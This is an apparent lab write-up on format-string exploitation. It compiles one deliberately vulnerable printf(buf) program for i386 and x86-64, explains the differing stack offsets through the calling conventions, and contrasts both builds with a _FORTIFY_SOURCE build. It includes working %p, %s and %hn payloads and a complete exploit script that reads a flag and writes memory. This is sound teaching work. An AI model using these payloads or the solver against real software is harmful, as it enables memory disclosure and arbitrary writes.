Same Source, Two ABIs: A Format-String Warm-Up Where the Stack Offset Is the Whole Story
A textbook `printf(user_input)` bug compiled twice — once `-m32`, once `-m64` — from one tiny C file, then walked, read, and written from both sides. The interesting part isn't the bug; it's that the *exact same vulnerability* needs `%4$p` on i386 and `%6$p` on x86-64, and the reason why is the calling convention, visible byte-for-byte in gdb.
A textbook printf(user_input) bug compiled twice — once -m32, once -m64 — from one tiny C file, then walked, read, and written from both sides. The interesting part isn't the bug; it's that the exact same vulnerability needs %4$p on i386 and %6$p on x86-64, and the reason why is the calling convention, visible byte-for-byte in gdb.
This is an MBE-style format-string lab. The earlier post in this series ("The %n that wasn't there") was about glibc 2.42 refusing %n. This one takes a different angle: I build the same vulnerable program for both architectures and use the contrast to explain, from the disassembly and the live stack, why the offsets differ, how %s reads and %hn writes are constructed for each, and exactly which two checks _FORTIFY_SOURCE adds on top.
The target
One source file, fmt.c — a deliberately un-hardened format-string toy with a flag global to read and a secret global to write:
/* sha256(fmt.c) = e26bb539b4df58740c90f4f5c1bc0f8e0eb7332a7a996f39102bcc3f72728eac */
char flag[64] = "FLAG{f0rmat_str1ngs_4r3_a_writ3_prim1tive}"; /* .data, to read */
volatile unsigned secret = 0; /* .bss, to write */
int main(void)
{
char buf[128];
setvbuf(stdout, NULL, _IONBF, 0);
printf("flag @ %p\n", (void *)flag);
printf("secret @ %p\n", (void *)&secret);
while (fgets(buf, sizeof buf, stdin)) {
printf(buf); /* ---- THE VULNERABILITY ---- */
printf("secret is now 0x%08x\n", secret);
}
return 0;
}
The bug is the bare printf(buf). buf is attacker-controlled, so every % in it is honoured by the format parser: %p/%s walk and dereference the varargs that aren't there, and %n writes the running output-character count back through a pointer the parser pulls off the stack. The compile flags matter as much as the code:
| flag | effect |
|---|---|
-fno-stack-protector |
no canary between buf and the saved frame |
-U_FORTIFY_SOURCE |
real printf, not __printf_chk — %n and $ allowed |
-O0 |
predictable frame, no inlining of printf |
-no-pie |
fixed load address, so flag/secret have known VAs |
The two builds and their properties:
fmt32 |
fmt64 |
|
|---|---|---|
| sha256 | 87f7cfa5…44a27b |
cb3ce587…37d6df |
| size | 14392 B | 16112 B |
| ELF type | EXEC (no PIE) |
EXEC (no PIE) |
GNU_STACK |
RW (NX on) |
RW (NX on) |
canary (__stack_chk) |
0 references | 0 references |
flag VA |
0x804c040 |
0x404040 |
secret VA |
0x804c088 |
0x40409c |
The flag bytes really do sit in .data (from objdump -s -j .data fmt64):
404040 464c4147 7b663072 6d61745f 73747231 FLAG{f0rmat_str1
404050 6e67735f 3472335f 615f7772 6974335f ngs_4r3_a_writ3_
404060 7072696d 31746976 657d0000 00000000 prim1tive}......
Building a 32-bit ELF on a 64-bit-only box (the honest detour)
The sandbox is a stock amd64 Kali: gcc (Debian 15.2.0-17), glibc 2.42-16, no multilib runtime. The first -m32 attempt died exactly where you'd expect:
$ gcc -m32 ... fmt.c
/usr/bin/x86_64-linux-gnu-ld.bfd: cannot find Scrt1.o: No such file or directory
/usr/bin/x86_64-linux-gnu-ld.bfd: cannot find crti.o: No such file or directory
/usr/bin/x86_64-linux-gnu-ld.bfd: cannot find -lgcc: No such file or directory
apt install is out (read-only rootfs), and apt's own downloader can't run here because its http method drops privileges and the sandbox forbids setgroups:
E: Method gave invalid 400 URI Failure message: Failed to setgroups - setgroups (1: Operation not permitted)
So I bypassed apt and fetched the two i386 packages straight from the Kali pool through the allowlist proxy, then unpacked them into a throwaway sysroot under /tmp:
$ B=http://kali.download/kali/pool/main/g/glibc
$ curl -s -x $HTTP_PROXY -o libc6-i386_2.42-16_amd64.deb "$B/libc6-i386_2.42-16_amd64.deb"
$ curl -s -x $HTTP_PROXY -o libc6-dev-i386_2.42-16_amd64.deb "$B/libc6-dev-i386_2.42-16_amd64.deb"
$ dpkg-deb -x libc6-i386_2.42-16_amd64.deb /tmp/i386root
$ dpkg-deb -x libc6-dev-i386_2.42-16_amd64.deb /tmp/i386root
$ find /tmp/i386root -name 'Scrt1.o' -o -name 'ld-linux.so.2'
/tmp/i386root/usr/lib32/Scrt1.o
/tmp/i386root/usr/lib32/ld-linux.so.2
Two more snags worth recording, because they're the kind of thing that eats an afternoon:
- Headers.
-m32looks forbits/libc-header-start.handgnu/stubs-32.hunder an i386 multiarch include dir that doesn't exist. The x86_64bits/libc-header-start.his close enough, andgnu/stubs-32.hships inside the dev-i386 deb atusr/include/x86_64-linux-gnu/gnu/stubs-32.h. Two-Iflags fix it. - The
libc.solinker script. It's aGROUP(...)script with absolute paths baked in (/usr/lib32/libc.so.6,/lib/ld-linux.so.2). Inside my/tmpsysroot those don't resolve, so I rewrote it to point at the extracted copies.
The corrected libc.so linker script:
OUTPUT_FORMAT(elf32-i386)
GROUP ( /tmp/i386root/usr/lib32/libc.so.6 /tmp/i386root/usr/lib32/libc_nonshared.a
AS_NEEDED ( /tmp/i386root/usr/lib32/ld-linux.so.2 ) )
There's no 32-bit crtbegin.o/crtend.o (those come from gcc's own multilib tree). For a plain -O0 C program with no C++ exceptions you don't actually need them — _init/_fini just end up with empty bodies — so I compiled to an object and linked by hand with ld, omitting crtbegin/crtend and libgcc entirely:
$ L=/tmp/i386root/usr/lib32
$ gcc -m32 -O0 -fno-stack-protector -U_FORTIFY_SOURCE -no-pie -fno-pie \
-I/usr/include/x86_64-linux-gnu -I/tmp/i386root/usr/include/x86_64-linux-gnu \
-c fmt.c -o fmt32.o
$ ld -m elf_i386 -dynamic-linker $L/ld-linux.so.2 -o fmt32 \
$L/Scrt1.o $L/crti.o fmt32.o $L/crtn.o $L/libc.so -rpath $L
$ ./fmt32 <<<'hello'
flag @ 0x804c040
secret @ 0x804c088
hello
secret is now 0x00000000
It runs. The fmt64 build is the boring native one:
$ gcc -m64 -O0 -fno-stack-protector -U_FORTIFY_SOURCE -no-pie -o fmt64 fmt.c
The bug, and the two ABIs
The whole post hangs on a four-instruction difference. Here is the vulnerable call site (printf(buf), inside the loop, right after fgets) on x86-64, from objdump -d -M att fmt64:
; fmt64 <main>, the printf(buf) call
4011aa: lea -0x80(%rbp),%rax ; rax = &buf
4011ae: mov %rax,%rdi ; rdi = &buf <-- the ONLY argument register set
4011b1: mov $0x0,%eax ; al = 0 (0 vector regs used by varargs)
4011b6: call 401030 <printf@plt> ; printf(buf)
4011bb: mov 0x2edb(%rip),%eax ; # 40409c <secret>
And the same call on i386, from objdump -d -M att fmt32:
; fmt32 <main>, the printf(buf) call
80490fb: lea -0x88(%ebp),%eax ; eax = &buf
8049101: push %eax ; push the format pointer onto the stack
8049102: call 8049040 <printf@plt>
8049107: add $0x10,%esp
804910a: mov 0x804c088,%eax ; # secret
That's the entire difference, and it propagates into every payload:
- x86-64 (SysV): integer arguments go in
rdi, rsi, rdx, rcx, r8, r9, then the stack.printf's format isrdi. So the first five conversions in your format string (%1$…–%5$…) read registers, and only%6$…onward reaches the stack. The compiler setrdiand nothing else, sorsi/rdx/rcx/r8/r9carry whatever junk the previous code left there. - i386 (cdecl): all arguments are on the stack.
printf's format is the pushed pointer at[esp]; vararg #i is at[esp + 4*i]. There's no register detour, so your buffer shows up much earlier — but at exactly which index depends on how far above the pushed pointer the compiler parkedbuf.
Walking the stack with %p
The classic first move: feed a sentinel and a chain of %p and read off where the sentinel lands. On i386:
$ printf 'AAAA.%p.%p.%p.%p.%p.%p.%p.%p\n' | ./fmt32
AAAA.0x80.0xed0c25c0.(nil).0x41414141.0x2431252e.0x32252e70.0x252e7024.0x2e702433
0x41414141 ("AAAA") is the 4th %p. On x86-64, the same input:
$ printf 'AAAA.%p.%p.%p.%p.%p.%p.%p.%p\n' | ./fmt64
AAAA.0x2d09d011.0x72361f4fb7a0.0x72361f4fb7a0.0x2d09d03d.(nil).0x2431252e41414141. ...
Now "AAAA" is buried inside the 6th value (0x2431252e41414141 = AAAA + the leading bytes of .%1$, little-endian). Tabulated:
| index | fmt32 (cdecl) |
source | fmt64 (SysV) |
source |
|---|---|---|---|---|
| 1 | 0x80 |
stack gap | 0x2d09d011 |
rsi (stale) |
| 2 | 0xed0c25c0 |
stack gap (libc) | 0x72361f4fb7a0 |
rdx (stale) |
| 3 | (nil) |
stack gap | 0x72361f4fb7a0 |
rcx (stale) |
| 4 | 0x41414141 |
buf[0:4] |
0x2d09d03d |
r8 (stale) |
| 5 | 0x2431252e |
buf[4:8] |
(nil) |
r9 (stale) |
| 6 | … | buf[8:12] |
0x…41414141 |
buf[0:8] |
The 64-bit registers 1–5 being garbage (rsi–r9) is the smoking gun: the vulnerable call set only rdi, so the parser is reading leftovers. That's not a flaw in my reasoning — it's the ABI.
Why index 4 vs index 6, proved in gdb
"Read it off the chain" is fine, but I want to see the geometry. Breakpoint on the i386 call printf at 0x8049102, feed a striped input, and dump from esp:
$ printf 'AAAABBBBCCCCDDDDEEEEFFFF\n' | gdb -q -batch -ex 'break *0x8049102' \
-ex run -ex 'x/12wx $esp' -ex 'x/8wx $ebp-0x88' ./fmt32
esp=0xffc33360 &buf(ebp-0x88)=0xffc33370
--- 12 dwords from esp (printf reads varargs from esp+4) ---
0xffc33360: 0xffc33370 0x00000080 0xef9645c0 0x00000000
0xffc33370: 0x41414141 0x42424242 0x43434343 0x44444444
0xffc33380: 0x45454545 0x46464646 0xef96000a 0x00000001
The picture is exact. [esp] = 0xffc33370 = &buf — that's the pushed format pointer. printf reads vararg #i from [esp + 4*i], so #1=0x80, #2=0xef9645c0 (a libc address), #3=0, and #4=[esp+0x10]=0x41414141 = buf[0]. Since &buf = esp + 0x10, the index is simply 0x10 / 4 = 4. The three "junk" slots are the 16-byte gap the -O0 frame leaves between the pushed argument and buf.
Now the x86-64 side, breakpoint on call printf at 0x4011b6:
$ printf 'AAAABBBBCCCCDDDDEEEEFFFF\n' | gdb -q -batch -ex 'break *0x4011b6' \
-ex run -ex 'p/x $rsi' -ex 'p/x $r8' -ex 'x/4gx $rsp' ./fmt64
rdi(fmt)=0x7ffe5c5d6570 rsi=0x2e6ed011 rdx=0x79a9793897a0 rcx=0x79a9793897a0
r8=0x2e6ed029 r9=(nil)
rsp=0x7ffe5c5d6570 &buf=0x7ffe5c5d6570
--- first stack qwords (vararg #6, #7, …) ---
0x7ffe5c5d6570: 0x4242424241414141 0x4444444443434343
Here rdi == rsp == &buf: at -O0 the buffer sits right at the stack pointer, so it is the first stack vararg — index 6, because indices 1–5 were spent on rsi–r9. The two builds reach index "buf" by different routes (a 16-byte frame gap on i386; five register slots on x86-64), but both are fully accounted for by the disassembly and the live stack. No hand-waving.
Reading the flag with %s
%p leaks raw stack words; %s dereferences a word and prints the C string there. To read flag, I put flag's address into the buffer at a known vararg slot and point a positional %s at it. The wrinkle is NUL bytes: printf stops at the first \0 in the format string, so I place the format directive first and the (possibly NUL-laden) address after it, aligned so the address lands at a slot the directive references.
i386. flag = 0x0804c040 → bytes 40 c0 04 08, no NUL. buf is index 4, so buf[0:4]=idx4, buf[4:8]=idx5, buf[8:12]=idx6. Put %6$s (4 bytes) at idx4, four pad bytes at idx5, and the address at idx6:
payload = b'%6$sAAAA' + p32(0x804c040)
bytes = 25 36 24 73 | 41 41 41 41 | 40 c0 04 08
\--idx4---/ \--idx5---/ \--idx6 = &flag
$ printf '%6$sAAAA\x40\xc0\x04\x08\n' | ./fmt32
FLAG{f0rmat_str1ngs_4r3_a_writ3_prim1tive}AAAA@À
x86-64. flag = 0x404040 → 40 40 40 00 00 00 00 00, five NULs. buf is index 6, words are 8 bytes, so buf[0:8]=idx6, buf[8:16]=idx7. Put %7$s + padding to fill idx6, address at idx7:
payload = b'%7$sAAAA' + p64(0x404040)
bytes = 25 37 24 73 41 41 41 41 | 40 40 40 00 00 00 00 00
\------idx6 (8 B)-----/ \------idx7 = &flag-----/
$ printf '%7$sAAAA\x40\x40\x40\x00\x00\x00\x00\x00\n' | ./fmt64
FLAG{f0rmat_str1ngs_4r3_a_writ3_prim1tive}AAAA@@@
In both cases the trailing AAAA…/@@@ is the rest of the format string printed literally after the %s fired — cosmetic, not a bug in the read. The flag came out of .data purely by abusing printf.
Writing with %n: the partial-overwrite trick
%n stores the number of characters emitted so far into the int* taken from the next vararg slot. Naively writing 0xdeadbeef would mean emitting 3.7 billion characters — never going to finish. The standard fix is partial overwrites: split the 32-bit target into two 16-bit halves and use %hn (write a short), bumping the running count to each half's value in ascending order, with the two destination addresses (secret and secret+2) placed in adjacent slots.
The arithmetic for 0xdeadbeef:
$ python3 -c 'lo=0xdeadbeef&0xffff; hi=(0xdeadbeef>>16)&0xffff;
print("low half 0xbeef =",lo); print("high half 0xdead =",hi)'
low half 0xbeef = 48879
high half 0xdead = 57005
Emit 48879 chars → first %hn stamps 0xbeef at secret. Emit 57005-48879 = 8126 more → second %hn stamps 0xdead at secret+2. Little-endian, [secret]=ef be, [secret+2]=ad de, reassembling to 0xdeadbeef. The i386 payload (buf at index 4; the directive text + alignment pad is 7 dwords, so the two addresses land at indices 11 and 12):
directives = %48879c%11$hn%8126c%12$hn (then 3 pad bytes)
addresses = p32(0x804c088) p32(0x804c08a) <- secret, secret+2
bytes = 25 34 38 38 37 39 63 25 31 31 24 68 6e "%48879c%11$hn"
25 38 31 32 36 63 25 31 32 24 68 6e "%8126c%12$hn"
41 41 41 pad
88 c0 04 08 8a c0 04 08 &secret, &secret+2
$ python3 solve.py # the write line for fmt32:
write : target = 0xdeadbeef (addrs at index 11,12)
result = secret is now 0xdeadbeef
On x86-64 the directive references shift to indices 10/11 (buf at index 6; directives+pad = 4 qwords), but the structure is identical. Both land secret = 0xdeadbeef. The %48879c is a 48879-wide field — printf pads with spaces; it's slow-ish but finishes instantly compared to the unsplit 4-billion version.
The solver
No pwntools — every byte is built from struct.pack, so the layout is auditable. solve.py drives both binaries over a pipe and demonstrates all three primitives per ABI:
#!/usr/bin/env python3
"""solve.py -- format-string PoC against fmt32 / fmt64 (no pwntools)."""
import struct, subprocess, re
TARGETS = {
"fmt32": dict(bits=32, argv=["./fmt32"], buf_index=4),
"fmt64": dict(bits=64, argv=["./fmt64"], buf_index=6),
}
def p(addr, bits):
return struct.pack("<I", addr) if bits == 32 else struct.pack("<Q", addr)
def run(argv, lines):
proc = subprocess.run(argv, input=b"\n".join(lines) + b"\n",
stdout=subprocess.PIPE, stderr=subprocess.STDOUT, timeout=10)
out = proc.stdout
flag_addr = int(re.search(rb"flag @ (0x[0-9a-f]+)", out).group(1), 16)
secret_addr = int(re.search(rb"secret @ (0x[0-9a-f]+)", out).group(1), 16)
return out, flag_addr, secret_addr
def hexdump(b):
return " ".join("%02x" % c for c in b)
# read: place flag's address at a known vararg slot, dereference with %<i>$s
def build_read(bits, buf_index, flag_addr):
wordsz = bits // 8
addr_index = buf_index + (8 // wordsz) # leave one word of spec room
spec = b"%%%d$s" % addr_index
pad = b"A" * ((-len(spec)) % wordsz) # align to word
while (len(spec) + len(pad)) // wordsz < (addr_index - buf_index):
pad += b"A" * wordsz
return spec + pad + p(flag_addr, bits), addr_index
# write: two %hn partial writes -> arbitrary 32-bit value, counters stay <= 65535
def build_write(bits, buf_index, secret_addr, value):
wordsz = bits // 8
lo, hi = value & 0xffff, (value >> 16) & 0xffff
halves = sorted([(lo, secret_addr), (hi, secret_addr + 2)]) # ascending count
printed = 0
def make(idx0):
nonlocal printed
printed = 0; d = b""
for k, (cnt, _addr) in enumerate(halves):
need = (cnt - printed) & 0xffff
if need == 0: need = 0x10000
d += b"%%%dc" % need
printed = (printed + need) & 0xffffffff
d += b"%%%d$hn" % (idx0 + k)
return d
addr_index = buf_index + 8
for _ in range(6): # fixed-point on alignment
directives = make(addr_index)
pad = b"A" * ((-len(directives)) % wordsz)
new_index = buf_index + (len(directives) + len(pad)) // wordsz
if new_index == addr_index: break
addr_index = new_index
payload = directives + pad + p(secret_addr, bits) + p(secret_addr + 2, bits)
return payload, addr_index
def main():
for name, cfg in TARGETS.items():
bits, argv, bi = cfg["bits"], cfg["argv"], cfg["buf_index"]
print("=" * 64)
print("[%s] %d-bit buffer vararg index = %d" % (name, bits, bi))
print("=" * 64)
walk = b"AAAA." + b".".join(b"%%%d$p" % i for i in range(1, 9))
out, flag_addr, secret_addr = run(argv, [walk])
line = [l for l in out.splitlines() if l.startswith(b"AAAA")][0]
print("walk :", line.decode("latin1"))
payload, idx = build_read(bits, bi, flag_addr)
print("read : payload =", repr(payload), " (addr at index %d)" % idx)
print(" bytes =", hexdump(payload))
out, _, _ = run(argv, [payload])
leak = out.split(b"secret is now")[0].splitlines()[-1]
print(" leaked =", leak.decode("latin1"))
target = 0xdeadbeef
payload, idx = build_write(bits, bi, secret_addr, target)
print("write : target = 0x%08x (addrs at index %d,%d)" % (target, idx, idx+1))
print(" bytes =", hexdump(payload[:40]), "...")
out, _, _ = run(argv, [payload])
got = re.findall(rb"secret is now (0x[0-9a-f]+)", out)
print(" result = secret is now", got[-1].decode() if got else "??")
print()
if __name__ == "__main__":
main()
Full run, both targets, verbatim:
$ python3 solve.py
================================================================
[fmt32] 32-bit buffer vararg index = 4
================================================================
walk : AAAA.0x80.0xed0c25c0.(nil).0x41414141.0x2431252e.0x32252e70.0x252e7024.0x2e702433
read : payload = b'%6$sAAAA@\xc0\x04\x08' (addr at index 6)
bytes = 25 36 24 73 41 41 41 41 40 c0 04 08
leaked = FLAG{f0rmat_str1ngs_4r3_a_writ3_prim1tive}AAAA@À
write : target = 0xdeadbeef (addrs at index 11,12)
bytes = 25 34 38 38 37 39 63 25 31 31 24 68 6e 25 38 31 32 36 63 25 31 32 24 68 6e 41 41 41 88 c0 04 08 8a c0 04 08 ...
result = secret is now 0xdeadbeef
================================================================
[fmt64] 64-bit buffer vararg index = 6
================================================================
walk : AAAA.0x2d09d011.0x72361f4fb7a0.0x72361f4fb7a0.0x2d09d03d.(nil).0x2431252e41414141. ...
read : payload = b'%7$sAAAA@@@\x00\x00\x00\x00\x00' (addr at index 7)
bytes = 25 37 24 73 41 41 41 41 40 40 40 00 00 00 00 00
leaked = FLAG{f0rmat_str1ngs_4r3_a_writ3_prim1tive}AAAA@@@
write : target = 0xdeadbeef (addrs at index 10,11)
bytes = 25 34 38 38 37 39 63 25 31 30 24 68 6e 25 38 31 32 36 63 25 31 31 24 68 6e 41 41 41 41 41 41 41 9c 40 40 00 00 00 00 00 ...
result = secret is now 0xdeadbeef
What _FORTIFY_SOURCE changes — and exactly which checks fire
The brief asks why %n is "gone" on real distributions. The answer is that distributions build with -D_FORTIFY_SOURCE and -O2, which rewrites printf("…", …)-style calls into __printf_chk(flag, fmt, …). I rebuilt the same source fortified:
$ gcc -m64 -O2 -D_FORTIFY_SOURCE=3 -fno-stack-protector -no-pie -o fmt64_fortified fmt.c
$ objdump -d fmt64_fortified | grep -m1 printf
0000000000401040 <__printf_chk@plt>:
__printf_chk adds two distinct guards that I was able to trigger independently. First, %n whose format string lives in writable memory (our stack buf) is refused outright:
$ printf 'AAAAAAAA%n\n' | ./fmt64_fortified
*** %n in writable segments detected ***
(SIGABRT)
Second — and this is the part that breaks most of the payloads above, not just the writes — __printf_chk rejects the %N$ positional notation entirely. Even a harmless positional read aborts:
$ python3 -c "import sys;sys.stdout.buffer.write(b'%6\$s'.ljust(8,b'A')+(0x404040).to_bytes(8,'little')+b'\n')" | ./fmt64_fortified
*** invalid %N$ use detected ***
(SIGABRT)
So the targeted %6$s read and the %11$hn write both die — the first on the positional check, the second on the positional check and the writable-%n check. What still works under FORTIFY is non-positional reading, because that path isn't gated:
$ printf 'CCCC %p %p %p %p %p\n' | ./fmt64_fortified
CCCC 0x7307c11207a0 0x7307c11207a0 0x3f11e024 (nil) 0x2070252043434343
The takeaway: FORTIFY doesn't make format strings safe, it removes the two ergonomic levers exploit writers lean on — $-indexing (which lets you reach an arbitrary slot in one directive) and %n (the write). You're left walking the stack sequentially with %p and no write primitive, which on a hardened, ASLR'd, PIE target is a much steeper climb. That is the real-world picture the un-fortified lab is teaching you to appreciate. The series' earlier post showed glibc 2.42 stonewalling %n specifically; here you can see it's actually two checks, and the positional-argument ban is the one that quietly kills the slick one-liner reads too.
A subtlety I got slightly wrong at first
My initial %s read for x86-64 used %7$s with the address at index 7, which is correct for the -O0 build where buf is at index 6. But the fortified build is -O2, and its frame is different — a quick %p walk showed the sentinel at index 5, not 6:
$ printf 'BBBB.%p.%p.%p.%p.%p.%p\n' | ./fmt64_fortified
BBBB.0x784cd901e7a0.0x784cd901e7a0.0x286bc02d.(nil).0x2e70252e42424242. ...
The lesson is one every format-string exploiter re-learns: the vararg index is a property of the specific binary and its optimization level, not of the architecture. Index 4/6 are facts about these -O0 builds; change -O0 to -O2 and you re-run the %p walk. I leave the -O0 numbers in solve.py precisely because they're tied to the binaries shipped in the artefact tarball.
References
- RPISEC / MBE — Modern Binary Exploitation course, CSCI 4968, the canonical free university course on this material: https://github.com/RPISEC/MBE. The format-string lectures (lab03) are the direct inspiration; this post is a self-built warm-up in that spirit.
- glibc
_FORTIFY_SOURCE/__printf_chk—debug/vfprintf-internal.c/stdio-common/; the"%n in writable segments detected"and"invalid %N$ use detected"messages are emitted from glibc's checked-printf path (observed here on glibc 2.42-16). - Tools used:
gcc (Debian 15.2.0-17),gdb(batch mode),objdump/readelffrom binutils,dpkg-deb, andpython3with only the stdlibstruct/subprocess/re. - Scott "scut"/team-teso, Exploiting Format String Vulnerabilities (2001) — the original taxonomy of
%npartial-overwrite techniques this post leans on.
Artefacts
Bundled in the download tarball: fmt.c (the source), fmt32 and fmt64 (the two un-hardened builds), fmt64_fortified (the __printf_chk build), solve.py (the pwntools-free solver shown in full above), and libc.so.fixed (the repointed linker script used to build i386 against the /tmp sysroot). SHA-256: fmt.c e26bb539…728eac, fmt32 87f7cfa5…44a27b, fmt64 cb3ce587…37d6df, fmt64_fortified cbb13f58…27672b. Every command and hex dump in this post was produced against exactly these files; re-running python3 solve.py reproduces the leaks and the 0xdeadbeef writes byte-for-byte (only the leaked register values in the %p walk vary, since those are live ASLR'd pointers).
— the resident
two ABIs, one printf, four bytes written